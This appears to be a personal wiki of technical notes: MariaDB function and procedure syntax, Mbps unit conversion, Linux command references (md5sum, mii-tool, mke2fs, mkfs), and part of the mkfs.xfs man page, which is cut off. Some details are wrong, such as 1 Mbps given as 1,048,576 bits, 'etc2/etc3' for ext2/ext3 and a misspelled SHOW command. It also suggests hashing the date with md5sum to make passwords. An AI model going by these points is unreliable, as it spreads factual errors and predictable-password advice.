CREATE [OR REPLACE]
    [DEFINER = {user | CURRENT_USER | role | CURRENT_ROLE }]
    [AGGREGATE] FUNCTION [IF NOT EXISTS] func_name ([func_parameter[,...]])
    RETURNS type
    [characteristic ...]
    RETURN func_body


func_parameter:
    param_name type


type:
    Any valid MariaDB data type


characteristic:
    LANGUAGE SQL
  | [NOT] DETERMINISTIC
  | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
  | SQL SECURITY { DEFINER | INVOKER }
  | COMMENT 'string'


func_body:
    Valid SQL procedure statement
```
</div>

!! 

:<div>

```sql
--- 查看函数列表:
SHOW FUNCTIOIN STATUS;
--- 查看函数定义
SHOW CREATE FUNCTION function_name
--- 删除UDF:
DROP FUNCTION function_name
--- 调用自定义函数语法:
SELECT function_name(parameter_value,...)
--- 修改
ALTER FUNCTION func_name [characteristic ...]
characteristic:
    { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
  | SQL SECURITY { DEFINER | INVOKER }
  | COMMENT 'string'

---  IF EXISTS
DROP FUNCTION IF EXISTS function_name;
CREATE FUNCTION function_name ...;


--- Security
CREATE TABLE employees (name TINYTEXT, dept TINYTEXT, salary INT);
GRANT SELECT (name, dept) ON employees TO roger;

CREATE FUNCTION max_salary (dept TINYTEXT) RETURNS INT RETURN
  (SELECT MAX(salary) FROM employees WHERE employees.dept = dept);
GRANT EXECUTE ON FUNCTION max_salary TO roger;

---exp
CREATE FUNCTION hello (s CHAR(20))
    RETURNS CHAR(50) DETERMINISTIC
    RETURN CONCAT('Hello, ',s,'!');

SELECT hello('world');

---
CREATE TEMPORARY TABLE counter (c INT);
INSERT INTO counter VALUES (0);
DELIMITER //
CREATE FUNCTION counter () RETURNS INT
  BEGIN
    UPDATE counter SET c = c + 1;
    RETURN (SELECT c FROM counter LIMIT 1);
  END //
DELIMITER ;

---
CREATE FUNCTION hello2 (s CHAR(20))
  RETURNS CHAR(50) CHARACTER SET 'utf8' COLLATE 'utf8_bin' DETERMINISTIC
  RETURN CONCAT('Hello, ',s,'!');


--- 局部变量
DELIMITER //

CREATE FUNCTION addTwoNumber(x SMALLINT
    UNSIGNED, Y SMALLINT UNSIGNED)
    RETURNS SMALLINT
BEGIN
    DECLARE a, b SMALLINT UNSIGNED DEFAULT 10;
    SET a = x, b = y;
    RETURN a+b;
END//
```
</div>
!! 01. Syntax
:<div>

```sql
CREATE
    [OR REPLACE]
    [DEFINER = { user | CURRENT_USER | role | CURRENT_ROLE }]
    PROCEDURE sp_name ([proc_parameter[,...]])
    [characteristic ...] routine_body

proc_parameter:
    [ IN | OUT | INOUT ] param_name type

type:
    Any valid MariaDB data type

characteristic:
    LANGUAGE SQL
  | [NOT] DETERMINISTIC
  | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
  | SQL SECURITY { DEFINER | INVOKER }
  | COMMENT 'string'

routine_body:
    Valid SQL procedure statement
```
</div>

!! out 

:<div>

```sql

DELIMITER //

CREATE PROCEDURE simpleproc (OUT param1 INT)
 BEGIN
  SELECT COUNT(*) INTO param1 FROM t;
 END;
//
DELIMITER ;

CALL simpleproc(@a);


DELIMITER //

CREATE PROCEDURE simpleproc2 (
  OUT param1 CHAR(10) CHARACTER SET 'utf8' COLLATE 'utf8_bin'
)
 BEGIN
  SELECT count(CONCAT('a',class)) INTO param1 FROM t;
 END;
//

DELIMITER ;

--- replace
DELIMITER //

CREATE OR REPLACE PROCEDURE simpleproc2 (
  OUT param1 CHAR(10) CHARACTER SET 'utf8' COLLATE 'utf8_bin'
)
 BEGIN
  SELECT CONCAT('a',class) INTO param1 FROM t limit 1;
 END;
//

DELIMITER ;
```
</div>
!! 01. 简介
:<div>

Mbps=Mbit/s即兆比特每秒。Million bits per second的缩写

传输速率是指设备的的数据交换能力,也叫“带宽”,单位是`Mbps`(兆`位`/秒)
</div>

!!02. 定义
:<div>

`1Mbps`代表每秒传输1,048,576位,即每秒传输的数据量为:

1,048,576/8=`128K字节/秒`=131072字节/秒

;其中:
:<div>

bit代表位,存放一位二进制数,即 0 或 1,最小的存储单位

Byte代表字节,8个二进制位为一个字节,即1Byte=8bit,Byte为数据量常用单位

注意:

字母大小写的区别,小写b代表bit,大写B代表Byte,不能混用;

Mbps缩写中严格限定M为大写,b、p、s为小写

常用单位还有Kbps 、Mbps 、Gbps(同样K、M、G严格限定为大写,参见KB)
</div>
</div>

!!03. Mbps与MB/s换算
:<div>

Mbps(Mb/s)的含义是兆比特每秒,指每秒传输的位数量(小写b代表bit)

MB/s的含义是兆字节每秒,指每秒传输的字节数量(大写B代表Byte)
1Mbps=131072字节/秒=0.125MB/S


IEC标准规定如下


1Byte=8bit

1 KB = 1,024 Bytes

1 MB = 1,024 KB= 1,048,576 Bytes

1 GB = 1,024 MB= 1,048,576 KB= 1,073,741,824 Bytes

1 TB = 1,024 GB= 1,048,576 MB= 1,073,741,824 KB= 1,099,511,627,776 Bytes
</div>

!!简介
:<div>
md5sum
===

计算和校验文件报文摘要的工具程序

</div>

!! 补充说明

:<div>


"md5sum命令" 采用MD5报文摘要算法(128位)计算和检查文件的校验和。一般来说,安装了Linux后,就会有md5sum这个工具,直接在命令行终端直接运行。

MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。

</div>

!! 语法  

:<div>


```
md5sum(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b:二进制模式读取文件;
-t或--text:把输入的文件作为文本文件看待;
-c:从指定文件中读取MD5校验和,并进行校验;
--status:验证成功时不输出任何信息;
-w:当校验不正确时给出警告信息。
```

</div>

!! 参数  

:<div>


文件:指定保存着文件名和校验和的文本文件。

</div>

!! 实例

:<div>


"使用 md5sum 生成密码"

另一种获取可用作密码的随机字符串的方法是计算 MD5 校验值!校验值看起来确实像是随机字符串组合在一起,我们可以用作密码。确保你的计算源是个变量,这样的话每次运行命令时生成的校验值都不一样。比如 date !date 命令 总会生成不同的输出。

```
[root@localhost ~]# date | md5sum
6a43f2c246cdc3e6a3592652f831d186  -
```

"生成一个文件insert.sql的md5值:" 

```
[root@localhost ~]# md5sum insert.sql
bcda6cb5c704664f989703ac5a88f112  insert.sql
```

"检查文件testfile是否被修改过:" 

首先生成md5文件:

```
md5sum testfile > testfile.md5
```

检查:

```
md5sum testfile -c testfile.md5
```

如果文件没有变化,输出应该如下:

```
forsort: OK
```

此时,md5sum命令返回0。

如果文件发生了变化,输出应该如下:

```
forsort: FAILED
md5sum: WARNING: 1 of 1 computed checksum did NOT match
```

此时,md5sum命令返回非0。

这里,检查用的文件名随意。如果不想有任何输出,则`md5sum testfile --status -c testfile.md5`,这时候通过返回值来检测结果。

检测的时候如果检测文件非法则输出信息的选项:

```
md5sum -w -c testfile.md5
```

输出之后,文件异常输出类似如下:

```
md5sum: testfile.md5: 1: improperly formatted MD5 checksum line
md5sum: testfile.md5: no properly formatted MD5 checksum lines found
```

这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么`-w`有没有都一样。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 简介
:<div>

```
mesg命令用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。
```
</div>


!实例
:<div>

```bash
[root@localhost ~]# mesg y    #允许系统用户将信息直接显示在你的屏幕上。
[root@localhost ~]# mesg n    #不允许系统用户将信息直接显示在你的屏幕上。
```
</div>
!!简介
:<div>
mii-tool
===

配置网络设备协商方式的工具

</div>

!! 补充说明

:<div>


"mii-tool命令" 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。

</div>

!! 语法  

:<div>


```
usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
```

</div>

!! 选项  

:<div>


```
-V 显示版本信息;
-v 显示网络接口的信息;
-R 重设MII到开启状态;
-r 重启自动协商模式;
-w 查看网络接口连接的状态变化;
-l 写入事件到系统日志;
-A 指令特定的网络接口;
-F 更改网络接口协商方式;

media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
        (to advertise both HD and FD) 100baseTx, 10baseT
```

</div>

!! 实例  

:<div>


查看网络接口的协商状态:

```
[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
  product info: vendor 00:50:ef, model 60 rev 8
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
```

注:上面的例子,我们可以看得到是自动协商,注意红字的部份。

更改网络接口协商方式:

更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数;

如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢?

```
[root@localhost ~]# mii-tool -F 100baseTx-FD
[root@localhost ~]# mii-tool -v eth0
eth0: 100 Mbit, full duplex, link ok
  product info: vendor 00:00:00, model 0 rev 0
  basic mode:   100 Mbit, full duplex
  basic status: link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
```

注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令:

```
[root@localhost ~]# ethtool -s eth0 speed 100 duplex full
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mkbootdisk
===

可建立目前系统的启动盘

</div>

!! 补充说明

:<div>


"mkbootdisk命令" 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。

</div>

!! 语法  

:<div>


```
mkbootdisk(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--device<设备>:指定设备;
--mkinitrdargs<参数>:设置mkinitrd的参数;
--noprompt:不会提示用户插入磁盘;
--verbose:执行时显示详细的信息;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


内核:指定内核版本。

</div>

!! 实例  

:<div>


```
mkbootdisk --device /dev/fd0 `uname -r`
```

其中,``uname -r``是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用:

```
mkbootdisk --device /dev/fd0 2.2.18
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*mkdir
    ** -p 递归创建
    ** -v 过程
    ** -m mod
!!简介
:<div>
mke2fs
===

创建磁盘分区上的“etc2/etc3”文件系统

</div>

!! 补充说明

:<div>


"mke2fs命令" 被用于创建磁盘分区上的“etc2/etc3”文件系统。

</div>

!! 语法  

:<div>


```
mke2fs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b<区块大小>:指定区块大小,单位为字节;
-c;检查是否有损坏的区块;
-f<不连续区段大小>:指定不连续区段的大小,单位为字节;
-F:不管指定的设备为何,强制执行mke2fs;
-i<字节>:指定"字节/inode"的比例;
-N<inode数>:指定要建立的inode数目;
-l<文件>:从指定的文件中,读取文件西中损坏区块的信息;
-L<标签>:设置文件系统的标签名称;
-m<百分比值>:指定给管理员保留区块的比例,预设为5%;
-M:记录最后一次挂入的目录;
-q:执行时不显示任何信息;
-r:指定要建立的ext2文件系统版本;
-R=<区块数>:设置磁盘阵列参数;
-S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap;
-v:执行时显示详细信息;
-V:显示版本信息。
```

</div>

!! 参数  

:<div>


*   设备文件:指定要创建的文件系统的分区设备文件名;
*   块数:指定要创建的文件系统的磁盘块数量。

</div>

!! 实例  

:<div>


创建指定的ext2文件系统。

```
mke2fs -q /dev/hda1
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mkfs
===

用于在设备上创建Linux文件系统

</div>

!! 补充说明

:<div>


"mkfs命令" 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。

</div>

!! 语法  

:<div>


```
mkfs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
fs:指定建立文件系统时的参数;
-t<文件系统类型>:指定要建立何种文件系统;
-v:显示版本信息与详细的使用方法;
-V:显示简要的使用方法;
-c:在制做档案系统前,检查该partition是否有坏轨。
```

</div>

!! 参数  

:<div>


*   文件系统:指定要创建的文件系统对应的设备文件名;
*   块数:指定文件系统的磁盘块数。

</div>

!! 实例  

:<div>


在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来:

```
mkfs -V -t msdos -c /dev/hda5

mkfs -t ext3 /dev/sda6     //将sda6分区格式化为ext3格式
mkfs -t ext2 /dev/sda7     //将sda7分区格式化为ext2格式
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* help
**NAME<pre>
       mkfs.xfs - construct an XFS filesystem

</pre>
**SYNOPSIS<pre>
       mkfs.xfs  [  -b  block_size  ]  [  -m  global_metadata_options ] [ -d data_section_options ] [ -f ] [ -i inode_options ] [ -l
       log_section_options ] [ -n naming_options ] [ -p protofile ] [ -q ] [ -r realtime_section_options ] [ -s sector_size ]  [  -L
       label ] [ -N ] [ -K ] device
       mkfs.xfs -V

</pre>
**DESCRIPTION<pre>
       mkfs.xfs  constructs  an  XFS  filesystem by writing on a special file using the values found in the arguments of the command
       line.  It is invoked automatically by mkfs(8) when it is given the -t xfs option.

       In its simplest (and most commonly used form), the size of the filesystem is determined from the disk driver.  As an example,
       to make a filesystem with an internal log on the first partition on the first SCSI disk, use:

              mkfs.xfs /dev/sda1

       The  metadata  log  can  be placed on another device to reduce the number of disk seeks.  To create a filesystem on the first
       partition on the first SCSI disk with a 10000 block log located on the first partition on the second SCSI disk, use:

              mkfs.xfs -l logdev=/dev/sdb1,size=10000b /dev/sda1

       Each of the option elements in the argument list above can be given as multiple comma-separated suboptions if multiple subop‐
       tions  apply  to the same option.  Equivalently, each main option can be given multiple times with different suboptions.  For
       example, -l internal,size=10000b and -l internal -l size=10000b are equivalent.

       In the descriptions below, sizes are given in sectors, bytes,  blocks,  kilobytes,  megabytes,  gigabytes,  etc.   Sizes  are
       treated  as  hexadecimal if prefixed by 0x or 0X, octal if prefixed by 0, or decimal otherwise.  The following lists possible
       multiplication suffixes:
              s - multiply by sector size (default = 512, see -s option below).
              b - multiply by filesystem block size (default = 4K, see -b option below).
              k - multiply by one kilobyte (1,024 bytes).
              m - multiply by one megabyte (1,048,576 bytes).
              g - multiply by one gigabyte (1,073,741,824 bytes).
              t - multiply by one terabyte (1,099,511,627,776 bytes).
              p - multiply by one petabyte (1,024 terabytes).
              e - multiply by one exabyte (1,048,576 terabytes).


 </pre>
**OPTIONS<pre>
       -b block_size_options
              This option specifies the fundamental block size of the filesystem.  The valid block_size_options  are:  log=value  or
              size=value  and only one can be supplied.  The block size is specified either as a base two logarithm value with log=,
              or in bytes with size=.  The default value is 4096 bytes (4 KiB), the minimum is 512, and the  maximum  is  65536  (64
              KiB).   Although  mkfs.xfs  will accept any of these values and create a valid filesystem, XFS on Linux can only mount
              filesystems with pagesize or smaller blocks.

       -m global_metadata_options
              These options specify metadata format options that either apply to the entire  filesystem  or  aren't  easily  charac‐
              terised by a specific functionality group. The valid global_metadata_options are:

                   crc=value
                          This  is used to create a filesystem which maintains and checks CRC information in all metadata objects on
                          disk. The value is either 0 to disable the feature, or 1 to enable the use of CRCs.

                          CRCs enable enhanced error detection due to hardware issues, whilst the format changes also improves crash
                          recovery algorithms and the ability of various tools to validate and repair metadata corruptions when they
                          are found.  The CRC algorithm used is CRC32c, so the overhead is dependent on  CPU  architecture  as  some
                          CPUs have hardware acceleration of this algorithm.  Typically the overhead of calculating and checking the
                          CRCs is not noticeable in normal operation.

                          By default, mkfs.xfs will enable metadata CRCs.

                   finobt=value
                          This option enables the use of a separate free inode btree index in each allocation group.  The  value  is
                          either 0 to disable the feature, or 1 to create a free inode btree in each allocation group.

                          The  free  inode  btree  mirrors the existing allocated inode btree index which indexes both used and free
                          inodes. The free inode btree does not index used inodes, allowing faster, more consistent inode allocation
                          performance as filesystems age.

                          By default, mkfs.xfs will not create free inode btrees for filesystems.  This is for backwards compatibil‐
                          ity with older RHEL7 kernels.  If the free inode btree is enabled, older RHEL7 kernels will not be able to
                          mount  the created filesystem.  When the option -m crc=0 is used, the free inode btree feature is not sup‐
                          ported and is disabled.

                   uuid=value
                          Use the given value as the filesystem UUID for the newly created filesystem.  The default is to generate a
                          random UUID.

       -d data_section_options
              These  options  specify  the  location,  size,  and  other parameters of the data section of the filesystem. The valid
              data_section_options are:

                   agcount=value
                          This is used to specify the number of allocation groups. The data section of  the  filesystem  is  divided
                          into allocation groups to improve the performance of XFS. More allocation groups imply that more parallel‐
                          ism can be achieved when allocating blocks and inodes. The minimum allocation group size is  16  MiB;  the
                          maximum  size  is  just  under 1 TiB.  The data section of the filesystem is divided into value allocation
                          groups (default value is scaled automatically based on the underlying device size).

                   agsize=value
                          This is an alternative to using the agcount suboption. The value is the desired  size  of  the  allocation
                          group  expressed  in  bytes  (usually  using  the  m or g suffixes).  This value must be a multiple of the
                          filesystem block size, and must be at least 16MiB, and  no  more  than  1TiB,  and  may  be  automatically
                          adjusted  to  properly  align  with  the  stripe geometry.  The agcount and agsize suboptions are mutually
                          exclusive.

                   name=value
                          This can be used to specify the name of the special file containing the filesystem. In this case, the  log
                          section must be specified as internal (with a size, see the -l option below) and there can be no real-time
                          section.

                   file[=value]
                          This is used to specify that the file given by the name suboption is a regular file. The value is either 0
                          or  1, with 1 signifying that the file is regular. This suboption is used only to make a filesystem image.
                          If the value is omitted then 1 is assumed.

                   size=value
                          This is used to specify the size of the data section. This suboption is required if -d file[=1] is  given.
                          Otherwise, it is only needed if the filesystem should occupy less space than the size of the special file.

                   sunit=value
                          This  is used to specify the stripe unit for a RAID device or a logical volume. The value has to be speci‐
                          fied in 512-byte block units. Use the su suboption to specify the stripe unit size in bytes.  This  subop‐
                          tion  ensures  that  data  allocations  will  be stripe unit aligned when the current end of file is being
                          extended and the file size is larger than 512KiB. Also inode allocations and  the  internal  log  will  be
                          stripe unit aligned.

                   su=value
                          This  is  an  alternative  to using sunit.  The su suboption is used to specify the stripe unit for a RAID
                          device or a striped logical volume. The value has to be specified in bytes, (usually using the m or g suf‐
                          fixes). This value must be a multiple of the filesystem block size.

                   swidth=value
                          This  is  used to specify the stripe width for a RAID device or a striped logical volume. The value has to
                          be specified in 512-byte block units. Use the sw suboption to specify the  stripe  width  size  in  bytes.
                          This suboption is required if -d sunit has been specified and it has to be a multiple of the -d sunit sub‐
                          option.

                   sw=value
                          suboption is an alternative to using swidth.  The sw suboption is used to specify the stripe width  for  a
                          RAID  device or striped logical volume. The value is expressed as a multiplier of the stripe unit, usually
                          the same as the number of stripe members in the logical volume configuration, or  data  disks  in  a  RAID
                          device.

                          When  a  filesystem  is  created on a logical volume device, mkfs.xfs will automatically query the logical
                          volume for appropriate sunit and swidth values.

                   noalign
                          This option disables automatic geometry detection and  creates  the  filesystem  without  stripe  geometry
                          alignment even if the underlying storage device provides this information.

       -f     Force  overwrite  when  an  existing filesystem is detected on the device.  By default, mkfs.xfs will not write to the
              device if it suspects that there is a filesystem or partition table on the device already.

       -i inode_options
              This option specifies the inode size of the filesystem, and other inode allocation parameters.  The XFS inode contains
              a  fixed-size  part and a variable-size part.  The variable-size part, whose size is affected by this option, can con‐
              tain: directory data, for small directories; attribute data, for small attribute sets; symbolic link data,  for  small
              symbolic  links;  the  extent  list  for  the  file,  for files with a small number of extents; and the root of a tree
              describing the location of extents for the file, for files with a large number of extents.

              The valid inode_options are:

                   size=value | log=value | perblock=value
                          The inode size is specified either as a value in bytes with size=, a base two logarithm value  with  log=,
                          or  as  the  number  fitting in a filesystem block with perblock=.  The minimum (and default) value is 256
                          bytes.  The maximum value is 2048 (2 KiB) subject to the restriction that the inode size cannot exceed one
                          half of the filesystem block size.

                          XFS  uses  64-bit  inode numbers internally; however, the number of significant bits in an inode number is
                          affected by filesystem geometry.  In practice, filesystem size and inode size are the predominant factors.
                          The  Linux  kernel (on 32 bit hardware platforms) and most applications cannot currently handle inode num‐
                          bers greater than 32 significant bits, so if no inode size is given on the  command  line,  mkfs.xfs  will
                          attempt  to choose a size such that inode numbers will be < 32 bits.  If an inode size is specified, or if
                          a filesystem is sufficiently large, mkfs.xfs will warn if this will create inode numbers > 32  significant
                          bits.

                   maxpct=value
                          This  specifies  the  maximum  percentage  of space in the filesystem that can be allocated to inodes. The
                          default value is 25% for filesystems under 1TB, 5% for filesystems under 50TB and 1% for filesystems  over
                          50TB.

                          In  the  default inode allocation mode, inode blocks are chosen such that inode numbers will not exceed 32
                          bits, which restricts the inode blocks to the lower portion of the filesystem. The  data  block  allocator
                          will  avoid these low blocks to accommodate the specified maxpct, so a high value may result in a filesys‐
                          tem with nothing but inodes in a significant portion  of  the  lower  blocks  of  the  filesystem.   (This
                          restriction is not present when the filesystem is mounted with the inode64 option on 64-bit platforms).

                          Setting  the  value  to 0 means that essentially all of the filesystem can become inode blocks, subject to
                          inode32 restrictions.

                          This value can be modified with xfs_growfs(8).

                   align[=value]
                          This is used to specify that inode allocation is or is not aligned. The value is either 0  or  1,  with  1
                          signifying  that inodes are allocated aligned.  If the value is omitted, 1 is assumed. The default is that
                          inodes are aligned.  Aligned inode access is normally more efficient than unaligned access; alignment must
                          be  established  at  the  time  the  filesystem is created, since inodes are allocated at that time.  This
                          option can be used to turn off inode alignment when the filesystem needs to be mountable by a  version  of
                          IRIX  that does not have the inode alignment feature (any release of IRIX before 6.2, and IRIX 6.2 without
                          XFS patches).

                   attr=value
                          This is used to specify the version of extended  attribute  inline  allocation  policy  to  be  used.   By
                          default,  this  is  2,  which  uses  an  efficient algorithm for managing the available inline inode space
                          between attribute and extent data.

                          The previous version 1, which has fixed regions for attribute and extent data, is kept for backwards  com‐
                          patibility with kernels older than version 2.6.16.

                   projid32bit[=value]
                          This is used to enable 32bit quota project identifiers. The value is either 0 or 1, with 1 signifying that
                          32bit projid are to be enabled.  If the value is omitted, 1 is assumed.  (This default changed in  release
                          version 3.2.0.)

                   sparse[=value]
                          Enable sparse inode chunk allocation. This experimental option is not available in RHEL7.

       -l log_section_options
              These  options  specify  the  location,  size,  and  other  parameters of the log section of the filesystem. The valid
              log_section_options are:

                   internal[=value]
                          This is used to specify that the log section is a piece of the  data  section  instead  of  being  another
                          device  or  logical volume. The value is either 0 or 1, with 1 signifying that the log is internal. If the
                          value is omitted, 1 is assumed.

                   logdev=device
                          This is used to specify that the log section should reside on the device separate from the  data  section.
                          The internal=1 and logdev options are mutually exclusive.

                   size=value
                          This is used to specify the size of the log section.

                          If  the  log  is contained within the data section and size isn't specified, mkfs.xfs will try to select a
                          suitable log size depending on the size of the filesystem.  The actual logsize depends on  the  filesystem
                          block size and the directory block size.

                          Otherwise, the size suboption is only needed if the log section of the filesystem should occupy less space
                          than the size of the special file. The value is specified in bytes or blocks, with a b suffix meaning mul‐
                          tiplication by the filesystem block size, as described above. The overriding minimum value for size is 512
                          blocks.  With some combinations of filesystem block size, inode size, and directory block size, the  mini‐
                          mum log size is larger than 512 blocks.

                   version=value
                          This specifies the version of the log. The current default is 2, which allows for larger log buffer sizes,
                          as well as supporting stripe-aligned log writes (see the sunit and su options, below).

                          The previous version 1, which is limited to 32k log buffers and does not support stripe-aligned writes, is
                          kept for backwards compatibility with very old 2.4 kernels.

                   sunit=value
                          This  specifies  the  alignment to be used for log writes. The value has to be specified in 512-byte block
                          units. Use the su suboption to specify the log stripe unit size in bytes.  Log writes will be  aligned  on
                          this boundary, and rounded up to this boundary.  This gives major improvements in performance on some con‐
                          figurations such as software RAID5 when the sunit is specified as the filesystem block size.  The  equiva‐
                          lent byte value must be a multiple of the filesystem block size. Version 2 logs are automatically selected
                          if the log sunit suboption is specified.

                          The su suboption is an alternative to using sunit.

                   su=value
                          This is used to specify the log stripe. The value has to be specified in bytes, (usually using the s or  b
                          suffixes).  This  value must be a multiple of the filesystem block size.  Version 2 logs are automatically
                          selected if the log su suboption is specified.

                   lazy-count=value
                          This changes the method of logging various persistent counters in the superblock.  Under  metadata  inten‐
                          sive workloads, these counters are updated and logged frequently enough that the superblock updates become
                          a serialization point in the filesystem. The value can be either 0 or 1.

                          With lazy-count=1, the superblock is not modified or logged on every change of  the  persistent  counters.
                          Instead, enough information is kept in other parts of the filesystem to be able to maintain the persistent
                          counter values without needed to keep them in the superblock.  This gives significant improvements in per‐
                          formance on some configurations.  The default value is 1 (on) so you must specify lazy-count=0 if you want
                          to disable this feature for older kernels which don't support it.

       -n naming_options
              These options specify the version and size parameters for the naming (directory) area of  the  filesystem.  The  valid
              naming_options are:

                   size=value | log=value
                          The  block  size is specified either as a value in bytes with size=, or as a base two logarithm value with
                          log=.  The block size must be a power of 2 and cannot be less than the filesystem block size.  The default
                          size  value  for  version  2 directories is 4096 bytes (4 KiB), unless the filesystem block size is larger
                          than 4096, in which case the default value is the filesystem block size.  For version  1  directories  the
                          block size is the same as the filesystem block size.

                   version=value
                          The  naming  (directory) version value can be either 2 or 'ci', defaulting to 2 if unspecified.  With ver‐
                          sion 2 directories, the directory block size can be any power of 2 size from the filesystem block size  up
                          to 65536.

                          The version=ci option enables ASCII only case-insensitive filename lookup and version 2 directories. File‐
                          names are case-preserving, that is, the names are stored in directories using the case they  were  created
                          with.

                          Note: Version 1 directories are not supported.

                   ftype=value
                          This feature allows the inode type to be stored in the directory structure so that the readdir(3) and get‐
                          dents(2) do not need to look up the inode to determine the inode type.

                          The value is either 0 or 1, with 1 signifying that filetype information will be stored  in  the  directory
                          structure.  The default value is 1.

                          When CRCs are enabled (the default), the ftype functionality is always enabled, and cannot be turned off.

       -p protofile
              If  the  optional -p protofile argument is given, mkfs.xfs uses protofile as a prototype file and takes its directions
              from that file.  The blocks and inodes specifiers in the protofile are provided for backwards compatibility,  but  are
              otherwise  unused.  The syntax of the protofile is defined by a number of tokens separated by spaces or newlines. Note
              that the line numbers are not part of the syntax but are meant to help you in the following  discussion  of  the  file
              contents.

                   1       /stand/diskboot
                   2       4872 110
                   3       d--777 3 1
                   4       usr     d--777 3 1
                   5       sh      ---755 3 1 /bin/sh
                   6       ken     d--755 6 1
                   7               $
                   8       b0      b--644 3 1 0 0
                   9       c0      c--644 3 1 0 0
                   10      fifo    p--644 3 1
                   11      slink   l--644 3 1 /a/symbolic/link
                   12      :  This is a comment line
                   13      $
                   14      $

              Line  1 is a dummy string.  (It was formerly the bootfilename.)  It is present for backward compatibility; boot blocks
              are not used on SGI systems.

              Note that some string of characters must be present as the first line of the proto file to cause it to be parsed  cor‐
              rectly; the value of this string is immaterial since it is ignored.

              Line  2  contains  two numeric values (formerly the numbers of blocks and inodes).  These are also merely for backward
              compatibility: two numeric values must appear at this point for the proto file to be correctly parsed, but their  val‐
              ues are immaterial since they are ignored.

              The  lines  3  through 11 specify the files and directories you want to include in this filesystem. Line 3 defines the
              root directory. Other directories and files that you want in the filesystem are indicated by lines  4  through  6  and
              lines 8 through 10. Line 11 contains symbolic link syntax.

              Notice  the  dollar sign ($) syntax on line 7. This syntax directs the mkfs.xfs command to terminate the branch of the
              filesystem it is currently on and then continue from the directory specified by the next line, in this  case  line  8.
              It  must be the last character on a line.  The colon on line 12 introduces a comment; all characters up until the fol‐
              lowing newline are ignored.  Note that this means you cannot have a file in a prototype file  whose  name  contains  a
              colon.  The $ on lines 13 and 14 end the process, since no additional specifications follow.

              File specifications provide the following:

                * file mode
                * user ID
                * group ID
                * the file's beginning contents

              A  6-character string defines the mode for a file. The first character of this string defines the file type. The char‐
              acter range for this first character is -bcdpl.  A file may be a regular file, a block special file, a character  spe‐
              cial  file, directory files, named pipes (first-in, first out files), and symbolic links.  The second character of the
              mode string is used to specify setuserID mode, in which case it is u.  If setuserID mode is not specified, the  second
              character is -.  The third character of the mode string is used to specify the setgroupID mode, in which case it is g.
              If setgroupID mode is not specified, the third character is -.  The remaining characters of  the  mode  string  are  a
              three  digit  octal number. This octal number defines the owner, group, and other read, write, and execute permissions
              for the file, respectively.  For more information on file permissions, see the chmod(1) command.

              Following the mode character string are two decimal number tokens that specify the user and group IDs  of  the  file's
              owner.

              In  a regular file, the next token specifies the pathname from which the contents and size of the file are copied.  In
              a block or character special file, the next token are two decimal numbers that specify the major and minor device num‐
              bers.  When a file is a symbolic link, the next token specifies the contents of the link.

              When  the  file  is  a directory, the mkfs.xfs command creates the entries dot (.) and dot-dot (..) and then reads the
              list of names and file specifications in a recursive manner for all of the entries in the directory.  A  scan  of  the
              protofile is always terminated with the dollar ( $ ) token.

       -q     Quiet  option.  Normally  mkfs.xfs  prints  the parameters of the filesystem to be constructed; the -q flag suppresses
              this.

       -r realtime_section_options
              These options specify the location, size, and other parameters of the real-time section of the filesystem.  The  valid
